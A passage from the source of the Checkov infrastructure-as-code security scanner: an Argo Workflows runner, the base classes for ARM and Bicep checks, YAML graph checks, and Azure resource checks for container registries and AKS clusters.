static attribute "template": template_registry, } def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return self.block_type_registries["template"] @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: content = Runner._get_workflow_file_content(file_path=f) if content: return YamlRunner._parse_file(f=f, file_content=content) return None @staticmethod def _get_workflow_file_content(file_path: str) -> str | None: if not file_path.endswith((".yaml", ".yml")): return None content = read_file_with_any_encoding(file_path=file_path) if "argoproj.io" not in content: # the following regex will search more precisely, but no need to further process return None match_api = re.search(API_VERSION_PATTERN, content) if match_api: match_kind = re.search(KIND_PATTERN, content) if match_kind: # only scan Argo Workflows return content return None def is_workflow_file(self, file_path: str) -> bool: return self._get_workflow_file_content(file_path=file_path) is not None def get_images(self, file_path: str) -> set[Image]: """Get container images mentioned in a file Argo Workflows file can have a job and services run within a container. in the following sample file we can see a node:14.16 image: apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: template-defaults- spec: entrypoint: main templates: - name: main steps: - - name: retry-backoff template: retry-backoff - - name: whalesay template: whalesay - name: whalesay container: image: argoproj/argosay:v2 command: [cowsay] args: ["hello world"] - name: retry-backoff container: image: python:alpine3.6 command: ["python", -c] # fail with a 66% probability args: ["import random; import sys; exit_code = random.choice([0, 1, 1]); sys.exit(exit_code)"] Source: https://github.com/argoproj/argo-workflows/blob/master/examples/template-defaults.yaml :return: List of container image short ids mentioned in the file. Example return value for a file with node:14.16 image: ['sha256:6a353e22ce'] """ images: set[Image] = set() parsed_file = self._parse_file(file_path) if not parsed_file: return images workflow, workflow_line_numbers = parsed_file if not isinstance(workflow, dict): # make type checking happy return images spec = workflow.get("spec") if spec: templates = spec.get("templates") if isinstance(templates, list): for template in templates: container = template.get("container") if container: image = self.extract_image(file_path=file_path, container=container) if image: images.add(image) script = template.get("script") if script: image = self.extract_image(file_path=file_path, container=script) if image: images.add(image) return images def extract_image(self, file_path: str, container: dict[str, Any]) -> Image | None: image_name = container.get("image") if image_name and isinstance(image_name, str): start_line = container.get("__startline__", 0) end_line = container.get("__endline__", 0) return Image( file_path=file_path, name=image_name, start_line=start_line, end_line=end_line, ) return None ================================================ FILE: checkov/arm/__init__.py ================================================ from checkov.arm.checks import * # noqa ================================================ FILE: checkov/arm/base_parameter_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.arm.registry import arm_parameter_registry from checkov.common.checks.base_check import BaseCheck if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseParameterCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_resources: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type="parameter", guideline=guideline, ) self.supported_resources = supported_resources arm_parameter_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: self.entity_type = entity_type return self.scan_resource_conf(conf) @abstractmethod def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/arm/base_registry.py ================================================ from __future__ import annotations from typing import Any from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry class Registry(BaseCheckRegistry): def __init__(self) -> None: super().__init__(report_type=CheckType.ARM) def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]: resource_name, resource = next(iter(entity.items())) resource_type = str(resource.get("type", "")) # entity['type'] ?? return resource_type, resource_name, resource ================================================ FILE: checkov/arm/base_resource_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Any from checkov.arm.registry import arm_resource_registry from checkov.bicep.checks.resource.registry import registry as bicep_registry from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult class BaseResourceCheck(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type="resource", guideline=guideline, ) self.supported_resources = supported_resources arm_resource_registry.register(self) # leverage ARM checks to use with bicep runner bicep_registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult: self.entity_type = entity_type # the "existing" key indicates a Bicep resource if "existing" in conf: if conf["existing"] is True: # the existing keyword is used to retrieve information about an already deployed resource return CheckResult.UNKNOWN self.api_version = conf["api_version"] conf["config"]["apiVersion"] = conf["api_version"] # set for better reusability of existing ARM checks resource_conf = conf["config"] if "loop_type" in resource_conf: # this means the whole resource block is surrounded by a for loop resource_conf = resource_conf["config"] return self.scan_resource_conf(resource_conf) self.api_version = None return self.scan_resource_conf(conf) @abstractmethod def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/arm/base_resource_negative_value_check.py ================================================ from __future__ import annotations import re from abc import abstractmethod from collections.abc import Iterable from typing import Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.common.util.data_structures_utils import find_in_dict from checkov.common.util.type_forcers import force_list VARIABLE_DEPENDANT_REGEX = re.compile(r"(?:parameters|variables)\(") class BaseResourceNegativeValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", missing_block_result: CheckResult = CheckResult.PASSED, guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) self.missing_block_result = missing_block_result @staticmethod def _is_variable_dependant(value: Any) -> bool: return bool(isinstance(value, str) and re.match(VARIABLE_DEPENDANT_REGEX, value)) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: inspected_key = self.get_inspected_key() forbidden_values = self.get_forbidden_values() value = find_in_dict(conf, inspected_key) if value: if isinstance(value, list) and len(value) == 1: value = value[0] if self._is_variable_dependant(value): # If the tested attribute is variable-dependant, then result is PASSED return CheckResult.UNKNOWN if value in forbidden_values or ANY_VALUE in forbidden_values: return CheckResult.FAILED else: return CheckResult.PASSED return self.missing_block_result @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() @abstractmethod def get_forbidden_values(self) -> list[Any]: """ Returns a list of vulnerable values for the inspected key, governed by provider best practices """ raise NotImplementedError() def get_evaluated_keys(self) -> list[str]: return force_list(self.get_inspected_key()) ================================================ FILE: checkov/arm/base_resource_value_check.py ================================================ from __future__ import annotations import re from abc import abstractmethod from collections.abc import Iterable from typing import Dict, Any, List, Optional from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.common.util.data_structures_utils import find_in_dict VARIABLE_DEPENDANT_REGEX = re.compile(r"(?:local|var|module)\.[^\s]+") class BaseResourceValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_resources: "Iterable[str]", missing_block_result: CheckResult = CheckResult.FAILED, guideline: Optional[str] = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) self.missing_block_result = missing_block_result @staticmethod def _is_variable_dependant(value: Any) -> bool: if isinstance(value, str) and re.match(VARIABLE_DEPENDANT_REGEX, value): return True return False def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: inspected_key = self.get_inspected_key() expected_values = self.get_expected_values() value = find_in_dict(conf, inspected_key) if value is not None: if ANY_VALUE in expected_values: # Key is found in the configuration - if it accepts any value, the check is PASSED return CheckResult.PASSED if isinstance(value, list) and len(value) == 1: value = value[0] if value in expected_values: return CheckResult.PASSED if self._is_variable_dependant(value): # If the tested attribute is variable-dependant, then result is PASSED return CheckResult.PASSED return CheckResult.FAILED return self.missing_block_result @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() def get_expected_values(self) -> List[Any]: """ Override the method with the list of acceptable values if the check has more than one possible expected value, given the inspected key :return: List of expected values, defaults to a list of the expected value """ return [self.get_expected_value()] def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return True ================================================ FILE: checkov/arm/checks/__init__.py ================================================ from checkov.arm.checks.resource import * # noqa from checkov.arm.checks.parameter import * # noqa ================================================ FILE: checkov/arm/checks/graph_checks/AzureMLWorkspacePublicNetwork.yaml ================================================ metadata: id: "CKV2_AZURE_49" name: "Ensure that Azure Machine learning workspace is not configured with overly permissive network access" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: "Microsoft.MachineLearningServices/workspaces" attribute: "properties.publicNetworkAccess" operator: "not_exists" - cond_type: "attribute" resource_types: "Microsoft.MachineLearningServices/workspaces" attribute: "properties.publicNetworkAccess" operator: "equals" value: "Disabled" ================================================ FILE: checkov/arm/checks/graph_checks/AzureSpringCloudConfigWithVnet.yaml ================================================ metadata: id: "CKV2_AZURE_23" name: "Ensure Azure spring cloud is configured with Virtual network (Vnet)" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: "Microsoft.AppPlatform/Spring" attribute: "sku.name" operator: "not_equals_ignore_case" value: "B0" - cond_type: attribute resource_types: "Microsoft.AppPlatform/Spring" attribute: "properties.networkProfile.serviceRuntimeSubnetId" operator: "exists" ================================================ FILE: checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml ================================================ metadata: id: "CKV2_AZURE_54" name: "Ensure log monitoring is enabled for Synapse SQL Pool" category: "LOGGING" definition: and: - cond_type: connection resource_types: - Microsoft.Synapse/workspaces/sqlPools connected_resource_types: - Microsoft.Synapse/workspaces/sqlPools/auditingSettings operator: exists - cond_type: filter attribute: resource_type value: - Microsoft.Synapse/workspaces/sqlPools operator: within - or: - and: - cond_type: attribute resource_types: - Microsoft.Synapse/workspaces/sqlPools/auditingSettings attribute: properties.state operator: exists - cond_type: attribute resource_types: - Microsoft.Synapse/workspaces/sqlPools/auditingSettings attribute: properties.state operator: equals value: Enabled - cond_type: attribute resource_types: - Microsoft.Synapse/workspaces/sqlPools/auditingSettings attribute: properties.state operator: not_exists ================================================ FILE: checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml ================================================ metadata: id: "CKV2_AZURE_51" name: "Ensure Synapse SQL Pool has a security alert policy" category: "GENERAL_SECURITY" definition: and: - cond_type: connection resource_types: - Microsoft.Synapse/workspaces/sqlPools connected_resource_types: - Microsoft.Sql/servers/securityAlertPolicies operator: exists - cond_type: filter attribute: resource_type operator: within value: - Microsoft.Synapse/workspaces/sqlPools - or: - and: - cond_type: attribute resource_types: - Microsoft.Sql/servers/securityAlertPolicies attribute: properties.state operator: exists - cond_type: attribute resource_types: - Microsoft.Sql/servers/securityAlertPolicies attribute: properties.state operator: equals value: Enabled - cond_type: attribute resource_types: - Microsoft.Sql/servers/securityAlertPolicies attribute: properties.state operator: not_exists ================================================ FILE: checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml ================================================ metadata: id: "CKV2_AZURE_52" name: "Ensure Synapse SQL Pool has vulnerability assessment attached" category: "GENERAL_SECURITY" definition: and: - resource_types: - Microsoft.Synapse/workspaces/sqlPools connected_resource_types: - Microsoft.Sql/servers/securityAlertPolicies operator: exists cond_type: connection - resource_types: - Microsoft.Sql/servers/securityAlertPolicies connected_resource_types: - Microsoft.Sql/servers/vulnerabilityAssessments operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - Microsoft.Synapse/workspaces/sqlPools operator: within - or: - and: - cond_type: attribute resource_types: - Microsoft.Sql/servers/vulnerabilityAssessments attribute: properties.recurringScans.isEnabled operator: exists - cond_type: attribute resource_types: - Microsoft.Sql/servers/vulnerabilityAssessments attribute: properties.recurringScans.isEnabled operator: equals value: true - cond_type: attribute resource_types: - Microsoft.Sql/servers/vulnerabilityAssessments attribute: properties.recurringScans.isEnabled operator: not_exists ================================================ FILE: checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml ================================================ metadata: id: "CKV2_AZURE_53" name: "Ensure Azure Synapse Workspace has extended audit logs" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - Microsoft.Synapse/workspaces operator: within - cond_type: connection resource_types: - Microsoft.Synapse/workspaces connected_resource_types: - Microsoft.Synapse/workspaces/extendedAuditingPolicies operator: exists - or: - and: - cond_type: attribute resource_types: - Microsoft.Synapse/workspaces/extendedAuditingPolicies attribute: properties.state operator: exists - cond_type: attribute resource_types: - Microsoft.Synapse/workspaces/extendedAuditingPolicies attribute: properties.state operator: equals value: Enabled - cond_type: attribute resource_types: - Microsoft.Synapse/workspaces/extendedAuditingPolicies attribute: properties.state operator: not_exists ================================================ FILE: checkov/arm/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/arm/checks/parameter/SecureStringParameterNoHardcodedValue.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_parameter_check import BaseParameterCheck class SecureStringParameterNoHardcodedValue(BaseParameterCheck): def __init__(self) -> None: name = "SecureString parameter should not have hardcoded default values" id = "CKV_AZURE_131" supported_resources = ('secureString',) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: # https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/test-cases#secure-parameters-cant-have-hardcoded-default default_value = conf.get('defaultValue') if default_value: # should be missing, or an empty string conf[f'{self.id}_secret'] = default_value return CheckResult.FAILED else: return CheckResult.PASSED check = SecureStringParameterNoHardcodedValue() ================================================ FILE: checkov/arm/checks/parameter/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/arm/checks/resource/ACRAdminAccountDisabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ACRAdminAccountDisabled(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure ACR admin account is disabled" id = "CKV_AZURE_137" supported_resources = ("Microsoft.ContainerRegistry/registries",) categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/adminUserEnabled" def get_forbidden_values(self) -> List[Any]: return [True] check = ACRAdminAccountDisabled() ================================================ FILE: checkov/arm/checks/resource/ACRAnonymousPullDisabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class ACRAnonymousPullDisabled(BaseResourceCheck): ANONYMOUS_PULL_SKUS = {"Standard", "Premium"} # noqa: CCE003 # a static attribute def __init__(self) -> None: name = "Ensures that ACR disables anonymous pulling of images" id = "CKV_AZURE_138" supported_resources = ("Microsoft.ContainerRegistry/registries",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("properties", {}) anonymousPullEnabled = properties.get("anonymousPullEnabled") sku = conf.get("sku") if ( sku is not None and isinstance(sku.get("name"), str) and sku.get("name") in ACRAnonymousPullDisabled.ANONYMOUS_PULL_SKUS and properties and anonymousPullEnabled ): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/anonymousPullEnabled', 'sku'] check = ACRAnonymousPullDisabled() ================================================ FILE: checkov/arm/checks/resource/ACRContainerScanEnabled.py ================================================ from __future__ import annotations from typing import Any, Dict, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class ACRContainerScanEnabled(BaseResourceCheck): SKUS = {"Standard", "Premium"} # noqa: CCE003 # a static attribute def __init__(self) -> None: name = "Enable vulnerability scanning for container images." id = "CKV_AZURE_163" supported_resources = ("Microsoft.ContainerRegistry/registries",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: sku = conf.get("sku", {}) sku_name = sku.get("name") if isinstance(sku_name, str) and sku_name in ACRContainerScanEnabled.SKUS: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["sku", "sku/name"] check = ACRContainerScanEnabled() ================================================ FILE: checkov/arm/checks/resource/ACREnableImageQuarantine.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class ACREnableImageQuarantine(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure container image quarantine, scan, and mark images verified" id = "CKV_AZURE_166" supported_resources = ("Microsoft.ContainerRegistry/registries",) categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/policies/quarantinePolicy/status" def get_expected_value(self) -> str: return "enabled" check = ACREnableImageQuarantine() ================================================ FILE: checkov/arm/checks/resource/ACREnableZoneRedundancy.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck from typing import Any class ACREnableZoneRedundancy(BaseResourceCheck): def __init__(self) -> None: """ Zone redundancy provides resiliency and high availability to a registry or replication resource in a specific region. Supported on Premium. """ name = "Ensure Azure Container Registry (ACR) is zone redundant" id = "CKV_AZURE_233" supported_resources = ("Microsoft.ContainerRegistry/registries", "Microsoft.ContainerRegistry/registries/replications",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # check registry. default=false properties = conf.get("properties") if properties and isinstance(properties, dict): self.evaluated_keys = ["properties"] if properties.get("zoneRedundancy") == "Disabled": self.evaluated_keys = ["properties/zoneRedundancy"] return CheckResult.FAILED return CheckResult.PASSED check = ACREnableZoneRedundancy() ================================================ FILE: checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class ACRPublicNetworkAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure ACR set to disable public networking" id = "CKV_AZURE_139" supported_resources = ("Microsoft.ContainerRegistry/registries",) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> str: return "Disabled" check = ACRPublicNetworkAccessDisabled() ================================================ FILE: checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AKSApiServerAuthorizedIpRanges(BaseResourceCheck): def __init__(self) -> None: # apiVersion 2017-08-03 and 2018-03-31 = Fail - No authorized IP range available # apiVersion 2019-02-01, 2019-04-01, 2019-06-01 - Preview # apiversion 2019-08-01 and greater are fully supported name = "Ensure AKS has an API Server Authorized IP Ranges enabled" id = "CKV_AZURE_6" supported_resources = ('Microsoft.ContainerService/managedClusters',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "apiVersion" in conf: if conf["apiVersion"] in ["2017-08-31", "2018-03-31"]: # ApiServerAuthorizedIpRanges not supported in these API versions return CheckResult.FAILED elif conf["apiVersion"] in ["2019-02-01", "2019-04-01", "2019-06-01"]: # apiServerAuthorizedIPRanges in Preview in these API versions if "properties" in conf: if "apiServerAuthorizedIPRanges" in conf["properties"]: if conf["properties"]["apiServerAuthorizedIPRanges"]: return CheckResult.PASSED else: # ApiServerAuthorizedIpRanges fully supported in all future API versions properties = conf.get('properties') if not properties or not isinstance(properties, dict): return CheckResult.FAILED api_server_access_profile = properties.get('apiServerAccessProfile') if not api_server_access_profile: return CheckResult.FAILED authorized_ip_ranges = api_server_access_profile.get('authorizedIPRanges') if authorized_ip_ranges: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/apiServerAccessProfile', 'properties/apiServerAccessProfile/authorizedIPRanges'] check = AKSApiServerAuthorizedIpRanges() ================================================ FILE: checkov/arm/checks/resource/AKSDashboardDisabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AKSDashboardDisabled(BaseResourceCheck): def __init__(self) -> None: # apiVersion 2017-08-03 = Fail - No addonProfiles option to configure name = "Ensure Kubernetes Dashboard is disabled" id = "CKV_AZURE_8" supported_resources = ('Microsoft.ContainerService/managedClusters',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if conf.get("apiVersion") is not None: if conf["apiVersion"] == "2017-08-31": # No addonProfiles option to configure self.evaluated_keys = ["apiVersion"] return CheckResult.FAILED properties = conf.get("properties") self.evaluated_keys = ["properties"] if properties is None or not isinstance(properties, dict): self.evaluated_keys = ["properties"] return CheckResult.FAILED addon_profiles = conf["properties"].get("addonProfiles") if not isinstance(addon_profiles, dict): self.evaluated_keys = ["properties/addonProfiles"] return CheckResult.FAILED kube_dashboard = addon_profiles.get("kubeDashboard") if not isinstance(kube_dashboard, dict): self.evaluated_keys = ["properties/addonProfiles/kubeDashboard"] return CheckResult.FAILED enabled = kube_dashboard.get("enabled") if enabled is not None and str(enabled).lower() == "false": return CheckResult.PASSED return CheckResult.FAILED check = AKSDashboardDisabled() ================================================ FILE: checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AKSEncryptionAtHostEnabled(BaseResourceValueCheck): def __init__(self) -> None: """ With host-based encryption, the data stored on the VM host of your AKS agent nodes' VMs is encrypted at rest and flows encrypted to the Storage service. This means the temp disks are encrypted at rest with platform-managed keys. The cache of OS and data disks is encrypted at rest with either platform-managed keys or customer-managed keys depending on the encryption type set on those disks. """ name = "Ensure that the AKS cluster encrypt temp disks, caches, and data flows " name += "between Compute and Storage resources" id = "CKV_AZURE_227" supported_resources = ["Microsoft.ContainerService/managedClusters", "Microsoft.ContainerService/managedClusters/agentPools"] categories = [CheckCategories.KUBERNETES, ] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: if self.entity_type == "Microsoft.ContainerService/managedClusters": return "properties/agentPoolProfiles/[0]/enableEncryptionAtHost" else: return "properties/enableEncryptionAtHost" def get_expected_value(self) -> bool: return True check = AKSEncryptionAtHostEnabled() ================================================ FILE: checkov/arm/checks/resource/AKSEphemeralOSDisks.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AKSEphemeralOSDisks(BaseResourceValueCheck): def __init__(self) -> None: """ Temporary data can contain sensitive data at some points, by using ephemeral disks, we ensure that data written to OS disk is stored on local VM storage and isn't persisted to Azure Storage Azure automatically replicates data stored in the managed OS disk of a virtual machine to Azure storage to avoid data loss in case the virtual machine needs to be relocated to another host. Generally speaking, containers are not designed to have local state persisted to the managed OS disk, hence this behavior offers limited value to AKS hosted while providing some drawbacks, including slower node provisioning and higher read/write latency. Ephemeral disks allow us also to have faster cluster operations like scale or upgrade due to faster re-imaging and boot times. """ name = "Ensure ephemeral disks are used for OS disks" id = "CKV_AZURE_226" supported_resources = ["Microsoft.ContainerService/managedClusters",] categories = [CheckCategories.KUBERNETES,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/agentPoolProfiles/[0]/osDiskType" def get_expected_value(self) -> str: return "Ephemeral" check = AKSEphemeralOSDisks() ================================================ FILE: checkov/arm/checks/resource/AKSLocalAdminDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class AKSLocalAdminDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AKS local admin account is disabled" id = "CKV_AZURE_141" supported_resources = ("Microsoft.ContainerService/managedClusters",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/disableLocalAccounts" def get_expected_value(self) -> bool: return True check = AKSLocalAdminDisabled() ================================================ FILE: checkov/arm/checks/resource/AKSLoggingEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AKSLoggingEnabled(BaseResourceCheck): def __init__(self) -> None: # apiVersion 2017-08-03 = Fail - No addonProfiles option to configure name = "Ensure AKS logging to Azure Monitoring is Configured" id = "CKV_AZURE_4" supported_resources = ("Microsoft.ContainerService/managedClusters",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "apiVersion" in conf: if conf["apiVersion"] == "2017-08-31": self.evaluated_keys = ["apiVersion"] # No addonProfiles option to configure return CheckResult.FAILED properties = conf.get("properties") self.evaluated_keys = ["properties"] if isinstance(properties, dict): addon_profiles = properties.get("addonProfiles") if isinstance(addon_profiles, dict): self.evaluated_keys = ["properties/addonProfiles"] omsagent = addon_profiles.get("omsagent") if not omsagent: # it can be written in lowercase or camelCase omsagent = addon_profiles.get("omsAgent") if isinstance(omsagent, dict) and omsagent.get("enabled"): return CheckResult.PASSED return CheckResult.FAILED check = AKSLoggingEnabled() ================================================ FILE: checkov/arm/checks/resource/AKSMaxPodsMinimum.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck from typing import Optional class AKSMaxPodsMinimum(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods." id = "CKV_AZURE_168" supported_resources = ("Microsoft.ContainerService/managedClusters", "Microsoft.ContainerService/managedClusters/agentPools", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: max_pods: Optional[int] = 30 properties = conf.get("properties", {}) if properties and isinstance(properties, dict): max_pods = properties.get("maxPods") if "agentPoolProfiles" in properties: if "maxPods" in properties["agentPoolProfiles"][0]: max_pods = properties["agentPoolProfiles"][0]["maxPods"] if max_pods is None or max_pods < 50: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/agentPoolProfiles", "properties/agentPoolProfiles/maxPods"] check = AKSMaxPodsMinimum() ================================================ FILE: checkov/arm/checks/resource/AKSNetworkPolicy.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AKSNetworkPolicy(BaseResourceCheck): def __init__(self) -> None: # apiVersion 2017-08-03 = Fail - No networkProfile option to configure name = "Ensure AKS cluster has Network Policy configured" id = "CKV_AZURE_7" supported_resources = ('Microsoft.ContainerService/managedClusters',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "apiVersion" in conf: if conf["apiVersion"] == "2017-08-31": # No networkProfile option to configure return CheckResult.FAILED properties = conf.get('properties') if not properties or not isinstance(properties, dict): return CheckResult.FAILED network_profile = properties.get('networkProfile') if not network_profile: return CheckResult.FAILED network_policy = network_profile.get('networkPolicy') if network_policy: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/networkProfile', 'properties/networkProfile/networkPolicy'] check = AKSNetworkPolicy() ================================================ FILE: checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AKSPoolTypeIsScaleSet(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets" id = "CKV_AZURE_169" supported_resources = ("Microsoft.ContainerService/managedClusters",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def get_inspected_key(self) -> str: return "properties/agentPoolProfiles/[0]/type" def get_forbidden_values(self) -> list[Any]: return ["AvailabilitySet"] check = AKSPoolTypeIsScaleSet() ================================================ FILE: checkov/arm/checks/resource/AKSRbacEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class AKSRbacEnabled(BaseResourceCheck): def __init__(self) -> None: # apiVersion 2017-08-03 = Fail - No enableRBAC option to configure name = "Ensure RBAC is enabled on AKS clusters" id = "CKV_AZURE_5" supported_resources = ('Microsoft.ContainerService/managedClusters',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, 